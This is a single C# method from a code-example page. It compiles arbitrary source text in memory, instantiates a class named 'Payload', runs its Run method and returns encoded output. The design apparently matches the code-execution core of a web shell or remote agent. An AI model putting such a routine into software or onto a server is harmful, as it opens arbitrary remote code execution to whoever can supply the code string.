Esempio n. 1
0
 void EvalCode(string code)
 {
     try{
         Get_extra_assemblys();
         CodeDomProvider    provider       = CodeDomProvider.CreateProvider("CSharp");
         CompilerParameters compilerParams = new CompilerParameters();
         compilerParams.GenerateInMemory   = true;
         compilerParams.GenerateExecutable = false;
         var assems = AppDomain.CurrentDomain.GetAssemblies();
         foreach (var assem in assems)
         {
             compilerParams.ReferencedAssemblies.Add(assem.Location);
         }
         if (extra_assemblys != null && extra_assemblys.Length > 0)
         {
             foreach (string assem in extra_assemblys)
             {
                 compilerParams.ReferencedAssemblies.Add(assem.Trim());
             }
         }
         CompilerResults cr = provider.CompileAssemblyFromSource(compilerParams, code);
         if (cr.Errors.Count > 0)
         {
             ret.code = 0;
             foreach (CompilerError ce in cr.Errors)
             {
                 ret.add_error_info(ce.ErrorNumber, ce.ToString(), ce.IsWarning);
                 if (!ce.IsWarning)
                 {
                     ret.code = -1;
                 }
             }
             if (ret.code == -1)
             {
                 return;
             }
         }
         object o = cr.CompiledAssembly.CreateInstance("Payload");
         if (o == null)
         {
             throw new Exception("Create Payload instance failed!");
         }
         MethodInfo mi = o.GetType().GetMethod("Run");
         if (mi == null)
         {
             throw new Exception("Create Run method in class Payload failed!");
         }
         object result = mi.Invoke(o, null);
         ret.code = 1;
         ret.data = encode(result.ToString());
     }catch (System.Exception error) {
         ret.code = -1;
         ret.add_error_info(error.GetType().FullName, error.Message + error.StackTrace, false);
     }
 }